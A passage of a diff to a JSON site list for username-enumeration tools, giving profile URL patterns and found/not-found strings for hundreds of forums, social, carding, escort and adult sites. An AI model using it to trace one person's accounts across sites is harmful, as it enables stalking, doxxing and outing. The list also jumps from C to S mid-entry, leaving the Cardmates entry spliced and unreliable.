"cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "BYBIO" + }, + { + "name": "Bylkov", + "url": "https://www.bylkov.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Byond", + "url": "https://www.byond.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Announcements about BYOND's software and website.", + "match_string": "Shoutbox" + }, + { + "name": "Byxatab", + "url": "https://byxatab.com/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Cad", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "cadaverzian.ucoz.ru", + "url": "http://cadaverzian.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caddy Community", + "url": "https://caddy.community/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "caddy.community", + "url": "https://caddy.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caduser", + "url": "https://www.caduser.ru/forum/userlist.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "cafecito", + "url": "https://cafecito.app/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Es posible que el enlace que seleccionaste est\u00e9 roto o que se haya eliminado la p\u00e1gina", + "match_code": 200, + "match_string": " | Cafecito" + }, + { + "name": "Caldina-club", + "url": "https://caldina-club.com/search.php?cache=1&keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "calendly.com", + "url": "https://calendly.com/{}/15min", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for could not be found", + "match_string": "profile" + }, + { + "name": "Calendy", + "url": "https://calendly.com/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, but the page you were looking for could not be found.", + "match_code": 200, + "match_string": "og:author" + }, + { + "name": "Cameo", + "url": "https://www.cameo.com/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "aggregateRating" + }, + { + "name": "Cameraprive", + "url": "https://cameraprive.com/br/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-profile" + }, + { + "name": "Camlust", + "url": "https://camlust.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "in Free Chat Roulette" + }, + { + "name": "Cams Reviews", + "url": "https://www.cams.reviews/?search={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">No Webcam Models Found.", + "match_string": "webcam models that match your search." + }, + { + "name": "CamSextacy", + "url": "https://www.camsextacy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Error, page not found
    ", + "match_string": "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + }, + { + "name": "Camsoda", + "url": "https://camsoda.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "My Media" + }, + { + "name": "CamWithHer (users)", + "url": "https://camwithher.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "Free Live Nude Sex Show" + }, + { + "name": "Candy Shop Escorts (Manchester, ENG)", + "url": "https://candyshopescorts.co.uk/escorts/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for doesn't exist or has been moved.", + "match_string": "
    Age
    " + }, + { + "name": "Canva", + "url": "https://canva.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "CapFriendly", + "url": "https://www.capfriendly.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    No results found
    " + }, + { + "name": "Capfriendly", + "url": "https://capfriendly.com/users/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No results found" + }, + { + "name": "CapitalcityCombats", + "url": "http://capitalcity.combats.com/inf.pl?{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "Car Talk Community", + "url": "https://community.cartalk.com/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Car72", + "url": "https://www.car72.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "Caravaning", + "url": "http://caravaning.in.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Caravanistan", + "url": "https://caravanistan.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "caravelgames", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Guest" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "site not found", + "match_code": 200, + "match_string": "s online portfolio" + }, + { + "name": "CardingForum", + "url": "https://cardingforum.co/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardingsite", + "url": "https://cardingsite.cc/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardmates", + "url": "https://cardmates.net/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "SimplePlanes Airplanes", + "match_code": 200, + "match_string": "
    joined" + }, + { + "name": "Sinful Feet", + "url": "https://sinfulfeet.com/models/{}.html", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "SinfulFeet | " + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/community/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skeb.jp", + "url": "https://skeb.jp/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Skeb - Request Box", + "match_string": ") | Skeb" + }, + { + "name": "sketchfab.com", + "url": "https://sketchfab.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkodaForum", + "url": "http://www.skodaforum.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "skorozamuj.com", + "url": "http://skorozamuj.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyblock", + "url": "https://skyblock.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skybrary", + "url": "https://skybrary.aero/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skynetzone", + "url": "https://skynetzone.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "skynetzone.net", + "url": "https://skynetzone.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skypli", + "url": "https://www.skypli.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing found", + "match_string": "profile-box__info" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforums.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforum.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skyrock", + "url": "https://{}.skyrock.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkyscraperCity", + "url": "https://www.skyscrapercity.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyscrapercity", + "url": "https://www.skyscrapercity.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Slack", + "url": "https://{}.slack.com", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlackHoles", + "url": "https://slackholes.com/actor/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "It looks like nothing was found at this location", + "match_code": 200, + "match_string": "Pussy and Ass Sizes" + }, + { + "name": "sladkiydesert.ucoz.ru", + "url": "http://sladkiydesert.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Slamdunk", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Slant.co", + "url": "https://www.slant.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found - Slant", + "match_string": "s Profile - Slant" + }, + { + "name": "Slashdot", + "url": "https://slashdot.org/~{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user you requested does not exist" + }, + { + "name": "Slides", + "url": "https://slides.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlideShare", + "url": "https://www.slideshare.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "blankProfile", + "match_string": "user-name" + }, + { + "name": "SlideShare", + "url": "https://slideshare.net/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page no longer exists" + }, + { + "name": "Slivap", + "url": "https://slivap.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "slivap.ru", + "url": "https://slivap.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "slivsklad.ru", + "url": "https://slivsklad.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sloboganec.at.ua", + "url": "http://sloboganec.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sluts Around Town", + "url": "https://slutsaroundtown.com/video_tag/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found", + "match_string": "post-title" + }, + { + "name": "Smallcar", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u00cf\u00f0\u00ee\u00f4\u00e8\u00eb\u00fc \u00ef\u00ee\u00eb\u00fc\u00e7\u00ee\u00e2\u00e0\u00f2\u00e5\u00eb\u00ff <" + }, + { + "name": "smart-lab.ru", + "url": "https://smart-lab.ru/profile/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "smart-phone.ucoz.ua", + "url": "http://smart-phone.ucoz.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smarton.at.ua", + "url": "http://smarton.at.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smartplay.ucoz.ru", + "url": "http://smartplay.ucoz.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashcast", + "url": "https://www.smashcast.tv/api/media/live/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashrun", + "url": "https://smashrun.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smelsy", + "url": "https://www.smelsy.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Server Error", + "match_code": 200, + "match_string": "Smelsy -" + }, + { + "name": "SmiHub", + "url": "https://smihub.com/v/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "text-lg mb-3", + "match_string": "profile" + }, + { + "name": "Smite", + "url": "https://smite.gamepedia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Smogon", + "url": "https://www.smogon.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "smokingmeatforums.com", + "url": "https://smokingmeatforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smolmama", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "sms.portalsms.ru", + "url": "http://sms.portalsms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smugmug", + "url": "https://{}.smugmug.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SmugMug", + "url": "https://{}.smugmug.com", + "category": "art", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smule", + "url": "https://www.smule.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Smule | Page Not Found (404)", + "match_string": "Profile: " + }, + { + "name": "smule", + "url": "https://www.smule.com/api/profile/?handle={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "code\": 65", + "match_code": 200, + "match_string": "account_id" + }, + { + "name": "Smule", + "url": "https://smule.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking", + "match_string": "username:" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/add/{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "NOT_FOUND", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snapchat", + "url": "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={}&size=400&type=SVG", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "http://www.w3.org/1999/xlink", + "match_code": 200, + "match_string": "</clipPath>" + }, + { + "name": "Snapchat", + "url": "https://snapchat.com/add/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "NoContent_title", + "match_string": "Header_displayNameText" + }, + { + "name": "Snapchat Stories", + "url": "https://story.snapchat.com/s/{}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not_Found", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snbforums", + "url": "https://www.snbforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "snegovaya-pad.ucoz.ru", + "url": "http://snegovaya-pad.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snicket", + "url": "https://snicket.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "sniperforums.com", + "url": "https://sniperforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snipfeed", + "url": "https://snipfeed.co/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, you hit a dead end!", + "match_code": 200, + "match_string": "creatorLink" + }, + { + "name": "snipplr.com", + "url": "https://snipplr.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snooth", + "url": "https://www.snooth.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "content=\"https://www.snooth.com/author/" + }, + { + "name": "snowblowerforum.com", + "url": "https://snowblowerforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snowjapan", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Found 0 results" + }, + { + "name": "so4ineniya.ucoz.ru", + "url": "http://so4ineniya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soberu", + "url": "https://yasobe.ru/na/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soborno", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soc-life.com", + "url": "http://soc-life.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + }, + { + "name": "socforum.3dn.ru", + "url": "http://socforum.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sochi_profi", + "url": "https://sochi.profi.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social", + "url": "https://social.msdn.microsoft.com/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"statistics\"" + }, + { + "name": "social.bund.de", + "url": "https://social.bund.de/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>The page you are looking for isn't here.", + "match_code": 200, + "match_string": "@social.bund.de) - social.bund.de" + }, + { + "name": "social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "social.tchncs.de", + "url": "https://social.tchncs.de/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social_microsoft", + "url": "https://social.microsoft.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The resource you are looking for has been removed" + }, + { + "name": "Socialblade", + "url": "https://socialblade.com/youtube/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SocialLibremOne", + "url": "https://social.librem.one/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Society Service Escorts (Holland & Belgium)", + "url": "https://www.societyservice.com/escort/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "Society Service Gigolos (Holland & Belgium)", + "url": "https://www.societyservice.com/gigolo/{}", + "category": "news", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "society6.com", + "url": "https://society6.com/{}/all", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Socioforum", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Socionics", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "soft-deniz.ucoz.ru", + "url": "http://soft-deniz.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soft-wm.3dn.ru", + "url": "http://soft-wm.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "softal.3dn.ru", + "url": "http://softal.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Softboard", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "softgame.3dn.ru", + "url": "http://softgame.3dn.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoftwareInformer", + "url": "https://users.software.informer.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "sofurry", + "url": "https://{}.sofurry.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "SoFurry - Error | SoFurry", + "match_code": 200, + "match_string": "'s Profile | SoFurry" + }, + { + "name": "sokal.ucoz.lv", + "url": "http://sokal.ucoz.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solaris-club", + "url": "https://solaris-club.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soldati-russian.ru", + "url": "http://soldati-russian.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solikick", + "url": "https://solikick.com/-{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This item has been removed or is no longer available", + "match_string": "page_guest_users-view" + }, + { + "name": "solo.to", + "url": "https://solo.to/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you're looking for isn't here.", + "match_code": 200, + "match_string": "create your own page" + }, + { + "name": "Soloby", + "url": "http://www.soloby.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Somersoft", + "url": "https://www.somersoft.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "somersoft.com", + "url": "https://www.somersoft.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoMyMy (underwear sales)", + "url": "https://somymy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Sorry, that page is not found!

    ", + "match_string": ">Last seen" + }, + { + "name": "Sony-club", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sony127.3dn.ru", + "url": "http://sony127.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sony_stratege", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0430\u0439\u0442 \u0437\u0430\u043a\u0440\u044b\u0442" + }, + { + "name": "Soobshestva", + "url": "http://www.soobshestva.ru/forum/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SOOP", + "url": "https://www.sooplive.co.kr/station/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sorento_kia-club", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soslujivzi.ru", + "url": "http://soslujivzi.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sotoguide", + "url": "https://sotoguide.ru/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soul Cams", + "url": "https://www.soulcams.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "SoulCams", + "match_string": "Live cam | Soulcams.com" + }, + { + "name": "SoundCloud", + "url": "https://soundcloud.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundex", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "soundfactory.ucoz.org", + "url": "http://soundfactory.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundgym", + "url": "https://www.soundgym.co/member/profile?m={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soup", + "url": "https://www.soup.io/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Personal Tools" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}", 